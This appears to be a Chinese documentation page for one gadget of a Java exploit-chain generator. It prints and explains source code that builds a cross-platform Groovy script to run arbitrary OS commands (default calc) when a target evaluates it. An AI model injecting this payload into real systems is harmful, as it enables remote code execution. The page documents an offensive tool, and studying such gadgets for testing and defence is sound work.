Skip to content

Latest commit

 

History

History
62 lines (51 loc) · 3.62 KB

File metadata and controls

62 lines (51 loc) · 3.62 KB

Groovy表达式字符串1(GroovyExec2Convert)

  • 类别:common 别名:— 优先级:—
  • 作者:—
  • 依赖groovy:groovy.lang.GroovyShell

作用

生成一段 Groovy 脚本字符串,运行期通过 Groovy 集合对象的 execute() 扩展方法执行系统命令,并自动按 os.name 区分 Windows(cmd /C)与类 Unix(/bin/sh -c)。是 GroovyExec1Convert 的「运行期 execute()」变体。

链接标签

  • 入口 tagsGroovy_ExprExpressionEND —— 产出 Groovy 表达式文本;归「表达式字符串」族;END 表示它是链末端载荷,invoke 直接返回字符串。
  • 衔接 nextTags:(空)。
  • excludes:(空)。

源码剖析

@GadgetTags(tags={"Groovy_Expr", "Expression", "END"})
@GadgetAnnotation(name="Groovy表达式字符串1",
    description="含有/bin/sh -c 或 cmd /c 的简单execute()函数命令执行",
    dependencies={"groovy:groovy.lang.GroovyShell"})
public class GroovyExec2Convert implements Gadget {
    @Param(name="命令", description="eg: calc")
    public String cmd = "calc";
    public static String template =
        "String cmd = \"%s\";if(System.properties['os.name'].toLowerCase().contains('windows'))"
      + "{['cmd','/C', cmd].execute();} else {['/bin/sh','-c', cmd].execute();}";

    public String getObject() {
        return String.format(template, this.cmd);
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        return this.getObject();
    }
}

逐段说明:

  • template 是一段合法的 Groovy 脚本:先声明 cmd,再判断 System.properties['os.name'] 是否含 windows,据此选择 ['cmd','/C', cmd]['/bin/sh','-c', cmd] 列表并调用 .execute()List.execute() 是 Groovy 对 java.util.List 增加的运行期扩展方法,等价于 Runtime.exec(String[])
  • 与 GroovyExec1 的核心差异:这里是运行期执行(脚本被 evaluate/run 时触发),而 GroovyExec1 走的是 @ASTTest 编译期执行。两者针对不同的 Groovy 触发点。
  • 采用 ['cmd','/C', cmd]数组式调用,命令作为独立参数传入,天然避免 shell 二次解析问题;且自动跨平台。默认 cmd = "calc"(无需 cmd /c 前缀,因为前缀已在模板中)。
  • String.format(template, this.cmd) 把命令拼进 String cmd = "...",命令含 " 时仍需注意转义。
  • invoke 直接返回字符串,不包装内层对象,对应 END

触发条件:类路径有 groovy,且存在一处会运行该脚本的入口(GroovyShell.evaluateEval、Groovy 模板引擎等)。

参数(@Param)

字段 名称 说明 默认 可选值
cmd 命令 直接作为进程参数的命令体,无需自带 cmd /c/bin/sh -c(模板已加) calc 任意(eg: calc

适用版本与原理要点

  • 依赖 groovyList.execute() 扩展自 Groovy 早期即存在,版本不敏感。
  • 相比 GroovyExec1 的编译期触发,本 gadget 需要脚本被真正运行;但其数组式跨平台命令拼接更稳健。
  • 命令以 os.name 自动分流平台,一个 payload 同时适配 Windows/Linux。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。

关联

  • 同族:GroovyExec1Convert(编译期 @ASTTest)、H2GroovyExecJdbc
  • 上游消费者:接收 Groovy_Expr/Expression 并执行 Groovy 脚本的 sink(如 GroovyShellRef 等)。